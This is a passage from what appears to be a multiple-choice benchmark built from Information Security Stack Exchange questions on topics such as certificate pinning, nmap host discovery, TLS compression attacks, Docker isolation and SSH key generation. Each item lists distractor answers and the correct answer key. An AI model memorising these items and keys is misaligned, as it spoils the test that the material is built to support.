handling referrer information when clicking on an ad. After a note from AviD and with the help of Xander we conducted some tests and here are the results 1. Clicking on an ad: https://google.com : Google will take you to an HTTP redirection page where they'd append your search query to the referrer information. https://encrypted.google.com : If the advertiser uses HTTP, Google will not let the advertiser know about your query. If the advertiser uses HTTPS, they will receive the referrer information normally (including your search query). 2. Clicking on a normal...", "C": "Typically certificates are validated by checking the signature hierarchy; MyCert is signed by IntermediateCert which is signed by RootCert , and RootCert is listed in my computer's \"certificates to trust\" store. Certificate Pinning was where you ignore that whole thing, and say trust this certificate only or perhaps trust only certificates signed by this certificate , ignoring all the other root CAs that could otherwise be trust anchors. It was frequently also known as Key Pinning, since it was actually the public key hash that got saved. But in practice, Key Pinning turned out to cause more problems than it...", "D": "Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily be seen as how best practices used to be in 2013. The Theory We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/29988/what-is-certificate-pinning"} {"id": "cybersecurity_74345", "domain": "cybersecurity", "question_title": "Provide subjectAltName to openssl directly on the command line", "question_body": "Is it possible to provide a subjectAltName-Extension to the openssl req module directly on the command line? I know it's possible via a openssl.cnf file, but that's not really elegant for batch-creation of CSRs.", "question_score": 325, "question_tags": ["certificates", "openssl", "bash"], "choices": {"A": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,...", "B": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "C": "As of OpenSSL 1.1.1, providing subjectAltName directly on command line becomes much easier, with the introduction of the -addext flag to openssl req (via this commit ). The commit adds an example to the openssl req man page : Example of giving the most common attributes (subject and extensions) on the command line: openssl req -new -subj \"/C=GB/CN=foo\" \\ -addext \"subjectAltName = DNS:foo.co.uk\" \\ -addext \"certificatePolicies = 1.2.3.4\" \\ -newkey rsa:2048 -keyout key.pem -out req.pem The commit message itself is also helpful to understand what's happening: Add 'openssl req' option to specify extension values on command line The idea is...", "D": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/74345/provide-subjectaltname-to-openssl-directly-on-the-command-line"} {"id": "cybersecurity_36198", "domain": "cybersecurity", "question_title": "How to find live hosts on my network?", "question_body": "I am trying to find the live hosts on my network using nmap. I am scanning the network in Ubuntu using the command sudo nmap -sP 192.168.2.1/24 . However, I am unable to find the live hosts. I just get the network address of my own PC as live. When I see the DHCP client list through my browser (my router can be accessed via browser using my network IP), I get around 10 live hosts on the network. Can anyone tell me the reason why this could be happening and how do I find the live hosts on my network?", "question_score": 316, "question_tags": ["nmap", "host-discovery"], "choices": {"A": "General SSL (and its successor, TLS ) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS. When using SSL/TLS correctly, all an attacker can see on the cable is Which IP and port you are connected to Roughly how much data you are sending What encryption and compression are used In SSLv3 through TLS version 1.2 : the current...", "B": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,...", "C": "This is the simplest way of performing host discovery with nmap. nmap -sP 192.168.2.1/24 Why does it not work all the time ? When this command runs nmap tries to ping the given IP address range to check if the hosts are alive. If ping fails it tries to send syn packets to port 80 (SYN scan). This is not hundred percent reliable because modern host based firewalls block ping and port 80. Windows firewall blocks ping by default. The hosts you have on the network are blocking ping and the port 80 is not accepting connections. Hence nmap assumes...", "D": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/36198/how-to-find-live-hosts-on-my-network"} {"id": "cybersecurity_19911", "domain": "cybersecurity", "question_title": "CRIME - How to beat the BEAST successor?", "question_body": "With the advent of CRIME, BEAST's successor , what possible protection is available for an individual and/or system owner in order to protect themselves and their users against this new attack on TLS?", "question_score": 313, "question_tags": ["tls", "exploit", "defense"], "choices": {"A": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative...", "B": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a...", "C": "The primary issue is that incorrect passwords have to be stored in a way that allows them to be later displayed to users. Which, as your dev pointed out, means they can't be cryptographically hashed first. The result is that you store them either as plaintext (bad) or encrypted (better but not normally recommended). The biggest risk is if this database of invalid passwords becomes accessible to attackers. Either they compromise the server, perform SQL injection, or retrieve it in some other way. Rather than cracking the primary passwords, which hopefully are strongly hashed and therefore tougher targets, they could...", "D": "This is commonly known as a capability URL / secret URL. It's secure in modern websites but not suitable for all applications and requires significant care to use . You can find an excellent overview of their advantages, risks and best practices in this page by W3C . It's meaningless to talk about security without specifying a threat model. Here are a couple that come to mind: 1: A passive attacker on the network (eavesdroping) 2: An active attacker on the network (can change packets at will, mitm, etc) 3: A shoulder-surfer 4: An attacker with physical access to your..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/19911/crime-how-to-beat-the-beast-successor"} {"id": "cybersecurity_169642", "domain": "cybersecurity", "question_title": "Is Docker more secure than VMs or bare metal?", "question_body": "I recently had a discussion with a Docker expert about the security of Docker vs. virtual machines. When I told that I've read from different sources that it's easier for code running within a Docker container to escape from it than for a code running in a virtual machine, the expert explained that I'm completely wrong, and that Docker machines are actually more secure in terms of preventing the malicious code from affecting other machines, compared to virtual machines or bare metal . Although he tried to explain what makes Docker containers more secure, his explanation was too technical for me. From what I understand, “OS-level virtualization reuses the kernel-space between virtual machines” as explained in a different answer on this site. In other words, code from a Docker container could exploit a kernel vulnerability, which wouldn't be possible to do from a virtual machine. Therefore, what could make it inherently more secure to use Docker compared to VMs or bare metal isolation, in a context where code running in a container/machine would intentionally try to escape and infect/damage other containers/machines? Let's assume Docker is configured properly, which prevents three of the four categories of attacks described here .", "question_score": 313, "question_tags": ["virtualization", "docker", "isolation"], "choices": {"A": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "B": "One thought is to not allow form submission if there is not a value in the password box. Generally if they accidentally entered the password in the username, then there likely isn't going to be anything in the password dialog. It is worth noting that this does not have to be simply done client side, but could also be done on a server as long as the transport used is secure and the input is not logged until after passing a check about the password field not being empty.", "C": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege...", "D": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/169642/is-docker-more-secure-than-vms-or-bare-metal"} {"id": "cybersecurity_192535", "domain": "cybersecurity", "question_title": "Should I let my child's school have access to my kid's personal laptop?", "question_body": "My kid is starting 6th grade and the school requires him to get a laptop and bring it to school. Now the school IT department wants to install some software on the laptop and is asking for administrative access. They want to install Office, Outlook, an AV and some site certificates. I feel that on principle this is not right, as it's not the school's device, so school staff shouldn't have access. Additionally, I don't have any sense of how good the school's security practices are. What if they inadvertently install malware? However, if I refuse then I risk being \"that parent\" and I'm setting myself up for a few years of headaches as any time the school wants to add new software, I'll have to do it myself. What would you do? Update Wow, this certainly blew up! Thanks to everyone for reading and commenting. We ended up letting the school have access, for a couple reasons: The clock was ticking and our child was the only one whose laptop wasn't set up, so he wasn't able to fully participate in lessons and was missing out on emails sent to the students. I'm traveling and am not at home, so remotely installing the software myself would add another layer of complexity and require someone at home to prep the laptop for remote admin, while adding more delay to the device being ready. It came down to what's best for the child and at the moment it seemed to us parents that it was letting the school have its way. I can check the device myself later and if there is anything that compromises the device's security or the child's privacy, then I have a better argument against the school's approach. In the meantime I'm letting them know that they could have communicated more about their plans and given us time to have a conversation about it rather than springing it on us at the last minute (though from their point-of-view this worked out just fine).", "question_score": 313, "question_tags": ["privacy", "corporate-policy", "windows-permissions"], "choices": {"A": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "B": "Needing to install things is kind of the point of needing the laptop, so it makes perfect sense that they want to install Office, AV, and certificates. There are no surprises there. To do that, they need admin access, but I would want to revoke that access once they were done. I would want to know the list of everything they want to install, and if they have central control over the AV (and if they do, why they want that). If your worry is that they might install malware, then download a Live CD of an anti-malware program and...", "C": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "D": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/192535/should-i-let-my-childs-school-have-access-to-my-kids-personal-laptop"} {"id": "cybersecurity_172148", "domain": "cybersecurity", "question_title": "Is it normal for auditors to require all company passwords?", "question_body": "My company is currently engaged in a security audit framed as a pentest. They've requested all admin passwords for every one of our services and all source code of our software. They want logins for Google Apps, credit card processors, GitHub, DigitalOcean, SSH credentials, database access, and much more. Note, we've never signed a single NDA (but have been provided a statement of work) and I'm very reluctant to provide this info to them because of this. Is this normal for a pentest? I assumed it would mostly be black box. How should I proceed? \"UPDATE* We now have an NDA. The contract does, however, say that we can't hold them liable for anything. Still not sure if this is the right move to continue with them. In my experience, their requests aren't normal even in white box audits, and their statement of work reads in a way that doesn't make it clear if this is a white box or black box audit.", "question_score": 306, "question_tags": ["penetration-test", "audit"], "choices": {"A": "General SSL (and its successor, TLS ) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS. When using SSL/TLS correctly, all an attacker can see on the cable is Which IP and port you are connected to Roughly how much data you are sending What encryption and compression are used In SSLv3 through TLS version 1.2 : the current...", "B": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "C": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "D": "Is this normal for a pentest? Absolutely not . Best case scenario: they are performing \"social engineering\" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action. Middle-case scenario, they don't know how to do their job. Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach. In the case of a code-audit the company will obviously need access to source code. However I would expect a company who provides such services to already understand the sensitivity of such a need and..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/172148/is-it-normal-for-auditors-to-require-all-company-passwords"} {"id": "cybersecurity_45963", "domain": "cybersecurity", "question_title": ""Diffie-Hellman Key Exchange" in plain English", "question_body": "Can someone explain what the Diffie-Hellman Key Exchange algorithm in plain English? I have read that Twitter has implemented this technology which allows two parties to exchange encrypted messages on top of a non-secured channel. How does that work?", "question_score": 303, "question_tags": ["cryptography", "key-exchange", "diffie-hellman", "asymmetric"], "choices": {"A": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "B": "The short answer is yes. The long answer is also yes. /dev/urandom yields data which is indistinguishable from true randomness, given existing technology. Getting \"better\" randomness than what /dev/urandom provides is meaningless, unless you are using one of the few \"information theoretic\" cryptographic algorithm, which is not your case (you would know it). The man page for urandom is somewhat misleading, arguably downright wrong, when it suggests that /dev/urandom may \"run out of entropy\" and /dev/random should be preferred; the only instant where /dev/urandom might imply a security issue due to low entropy is during the first moments of a...", "C": "You can roll your own, but you probably will make a major security mistake if you are not an expert in security/cryptography or have had your scheme analyzed by multiple experts. I'm more willing to bet on an open-source publicly known encryption scheme that's out there for all to see and analyze. More eyes means more likely that the current version doesn't have major vulnerabilities, as opposed to something developed in-house by non-experts. From Phil Zimmermann's (PGP creator) Introduction to Cryptography (Page 54) : When I was in college in the early 70s, I devised what I believed was a...", "D": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/45963/diffie-hellman-key-exchange-in-plain-english"} {"id": "cybersecurity_47293", "domain": "cybersecurity", "question_title": "How can someone go off-web, and anonymise themselves after a life online?", "question_body": "With data mining tools like Maltego and other correlation tools for large data sets, if we conduct any transactions online assume that these can all be collated to build a good picture of what we do, buy, read etc (hence Google etc). If a normal person, with a large online history decides to go off-web, is there an effective way to do this? This question was featured as an Information Security Question of the Week . Read the Jan 27, 2014 blog entry for more details or submit your own Question of the Week .", "question_score": 303, "question_tags": ["anonymity"], "choices": {"A": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "B": "The problem is heuristics. All mentioned tools are built on heuristics and the only way to avoid them is to change how you live completely. You can be fingerprinted by the modules installed in your browser. By the programs you use and the frequency you use them. These days you're going further than just online behavior. Shops know what you buy in what amounts, because nobody buys all the same brands you are getting fingerprinted constantly. This is used for targeted advertising, but it can also theoretically be used to track you. MIT's Reality Mining project proved the same using...", "C": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "D": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/47293/how-can-someone-go-off-web-and-anonymise-themselves-after-a-life-online"} {"id": "cybersecurity_201210", "domain": "cybersecurity", "question_title": "Why is Gbt3fC79ZmMEFUFJ a weak password?", "question_body": "On https://passwordsgenerator.net/ , it says Examples of weak passwords: qwert12345, Gbt3fC79ZmMEFUFJ, 1234567890, 987654321, nortonpassword The first, third, and fourth examples are obviously weak. I can't, however, see what's weak about the second one. Indeed, the only problem I see with it at the moment is that it doesn't have any special symbols. Is that enough for a password to be considered weak ?", "question_score": 301, "question_tags": ["passwords"], "choices": {"A": "I was curious about the same thing, so I put Gbt3fC79ZmMEFUFJ into Google, and lo! and behold it found something that wasn't just a paraphrase of \"Don't use this password\" advice — the password itself was embedded in example source code that showed how you could send a password to a server! ( link to page , and screenshot below) So I think the real goal of that advice is not that Gbt3fC79ZmMEFUFJ is a mysteriously weak password because of the keyboard layout or because of low entropy or because it doesn't include symbols or Unicode or emoji or whatever:...", "B": "\"If lack of encryption allows FBI to catch terrorists, then lack of encryption allows criminals to loot your emails and plunder your bank account.\" The rational point here is that technology is morally neutral. Encryption does not work differently depending on whether the attacker is morally right and the defender morally wrong, or vice versa. It is all fear-driven rhetoric anyway, so don't use logic; talk about what most frightens people, personally. And people fear most for their money.", "C": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in...", "D": "This is the simplest way of performing host discovery with nmap. nmap -sP 192.168.2.1/24 Why does it not work all the time ? When this command runs nmap tries to ping the given IP address range to check if the hosts are alive. If ping fails it tries to send syn packets to port 80 (SYN scan). This is not hundred percent reliable because modern host based firewalls block ping and port 80. Windows firewall blocks ping by default. The hosts you have on the network are blocking ping and the port 80 is not accepting connections. Hence nmap assumes..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/201210/why-is-gbt3fc79zmmefufj-a-weak-password"} {"id": "cybersecurity_34972", "domain": "cybersecurity", "question_title": "What's the rationale behind Ctrl-Alt-Del for login", "question_body": "Why is Ctrl + Alt + Del required at login on certain Windows systems (I have not seen it elsewhere, but contradict me if I'm wrong) before the password can be typed in? From a usability point of view, it's a bad idea as it's adding an extra step in getting access. Does it improve security in any way, and if so, how?", "question_score": 299, "question_tags": ["authentication", "windows", "password-management"], "choices": {"A": "Maybe the lesson for children should be less about how to use tools to manage a password, and more about understanding why managing passwords is important? Let them write their passwords in a notebook. Have fun with devising a method for obfuscation in case the notebook is lost. Teach them about backups- keeping a copy someplace safe. In my experience, kids and old people are a lot alike when it comes to password (mis)management Until they were skilled enough to manage their own password database, I also kept the kids logins in a \"family KeePass\". This is the same one...", "B": "This combination is called a Secure attention key . The Windows kernel is \"wired\" to notify Winlogon and nobody else about this combination. In this way, when you press Ctrl + Alt + Del , you can be sure † that you're typing your password in the real login form and not some other fake process trying to steal your password. For example, an application which looks exactly like the windows login. In Linux, there's a loosely-defined equivalent which is Ctrl + Alt + Pause . However, it doesn't exactly do the same thing. It kills everything except where you're...", "C": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege...", "D": "There is no substantial security benefit to disallowing pasted passwords; on the contrary it is likely to weaken security by discouraging the use of password managers to generate and autofill randomized passwords. While some password managers are capable of overriding pasting restrictions, the point still stands that users should not be forced to type their password by hand. Excerpt from a relevant WIRED article : Websites, Please Stop Blocking Password Managers. It’s 2015 But what’s crazy is that, in 2015, some websites are intentionally disabling a feature that would allow you to use stronger passwords more easily—and many are doing..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/34972/whats-the-rationale-behind-ctrl-alt-del-for-login"} {"id": "cybersecurity_143442", "domain": "cybersecurity", "question_title": "What are ssh-keygen best practices?", "question_body": "Most users would simply type ssh-keygen and accept what they're given by default. But what are the best practices for generating ssh keys with ssh-keygen ? For example: Use -o for the OpenSSH key format rather than the older PEM format (OpenSSH 6.5 introduced this feature years ago on 2014-01-30 ) (no longer needed since v7.8 in 2018-08) How should one calculate how many rounds of KDF to use with -a ? Should -T be used to test the candidate primes for safety? What -a value to use with this? For the different key types, what are the recommended minimum -b bit sizes? etc... (there are a mind-boggling set of options in the manual page ).", "question_score": 299, "question_tags": ["encryption", "ssh", "key-generation", "openssh"], "choices": {"A": "No, this is not a good practice. There are two distinct problems. encrypting the password instead of hashing it is a bad idea and is borderline storing plain text passwords. The whole idea of slow hash functions is to thwart the exfiltration of the user database. Typically, an attacker that already has access to the database can be expected to also have access to the encryption key if the web application has access to it. Thus, this is borderline plaintext; I almost voted to close this as a duplicate of this question , because this is almost the same and...", "B": "Chrome not only stores your password text, it will show it to you. Under settings -> advanced -> manage passwords you can find all your passwords for all your sites. Click show on any of them and it will appear in the clear. Hashed passwords work for the site authenticating you. They are not an option for password managers. Many will encrypt the data locally, but the key will also be stored locally unless you have a master password setup. Personally, I use the chrome password manager and I find it convenient. I also, however, have full disk encryption and...", "C": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "D": "This is still up to date as of July 2024. The OpenSSH defaults are safe to trust. I recommend the Secure Secure Shell article, which suggests: ssh-keygen -t ed25519 -a 100 Ed25519 is an EdDSA scheme with very small (fixed size) keys, introduced in OpenSSH 6.5 (2014-01-30) and made default (\"first-preference\") in OpenSSH 8.5 (2021-03-03). These have complexity akin to RSA at 4096 bits thanks to elliptic curve cryptography (ECC). The -a 100 option specifies 100 rounds of key derivations, making your key's password harder to brute-force. In OpenSSH 9.0 (2022-04-08), OpenSSH also set its default key exchange method to..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/143442/what-are-ssh-keygen-best-practices"} {"id": "cybersecurity_18197", "domain": "cybersecurity", "question_title": "Why shouldn't we roll our own?", "question_body": "Why shouldn't we create our own security schemes? I see a lot of questions around here about custom crypto and custom security mechanisms, especially around password hashing. With that in mind, I'm looking for a canonical answer, with the following properties: Easy for a newbie to understand. Clear and explicit in why rolling your own is a bad idea. Provides strong examples. Obligatory xkcd.", "question_score": 297, "question_tags": ["cryptography", "custom-scheme"], "choices": {"A": "Yes, it is a security feature, and the purpose of the delay is to prevent attacks based around tricking the user into entering input to skip past the dialog by popping it up unexpectedly when the user is in the middle of inputting multiple key presses or mouse clicks in quick succession. The two examples that are given in this blog post explaining the feature are: A CAPTCHA that asks the user to type the word only . When they press n , a save dialog is popped up, and then the user will immediately press l and then y...", "B": "You should use the maximum number of rounds which is tolerable, performance-wise, in your application. The number of rounds is a slowdown factor, which you use on the basis that under normal usage conditions, such a slowdown has negligible impact for you (the user will not see it, the extra CPU cost does not imply buying a bigger server, and so on). This heavily depends on the operational context: what machines are involved, how many user authentications per second... so there is no one-size-fits-all response. The wide picture goes thus: The time to verify a single password is v on...", "C": "You can roll your own, but you probably will make a major security mistake if you are not an expert in security/cryptography or have had your scheme analyzed by multiple experts. I'm more willing to bet on an open-source publicly known encryption scheme that's out there for all to see and analyze. More eyes means more likely that the current version doesn't have major vulnerabilities, as opposed to something developed in-house by non-experts. From Phil Zimmermann's (PGP creator) Introduction to Cryptography (Page 54) : When I was in college in the early 70s, I devised what I believed was a...", "D": "In some circumstances, peppers can be helpful. As a typical example, let's say you're building a web application. It consists of webapp code (running in some webapp framework, ASP.NET MVC, Pyramid on Python, doesn't matter) and a SQL Database for storage. The webapp and SQL DB run on different physical servers . The most common attack against the database is a successful SQL Injection Attack. This kind of attack does not necessarily gain access to your webapp code, because the webapp runs on a different server & user-ID. You need to store passwords securely in the database, and come up..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/18197/why-shouldnt-we-roll-our-own"} {"id": "cybersecurity_137418", "domain": "cybersecurity", "question_title": "How does Google know where I am?", "question_body": "Whenever I open the Google Maps app on my Android mobile phone, Google always seems to know my location, and it is very accurate (usually it places me on the map even in the correct room). Also, this happens even if both WiFi adapter and GPS are off. I know WiFi adapter off doesn't really mean anything, and I have heard Google uses information about nearby routers to geolocate you. But doesn't this mean ISPs are providing Google all (or some) of their routers' location? As far as I know, no private company aside from my ISP should know sensitive data like my location, name, etc ... So, how does Google locate me so precisely?", "question_score": 297, "question_tags": ["google", "geolocation", "google-apps"], "choices": {"A": "I was curious about the same thing, so I put Gbt3fC79ZmMEFUFJ into Google, and lo! and behold it found something that wasn't just a paraphrase of \"Don't use this password\" advice — the password itself was embedded in example source code that showed how you could send a password to a server! ( link to page , and screenshot below) So I think the real goal of that advice is not that 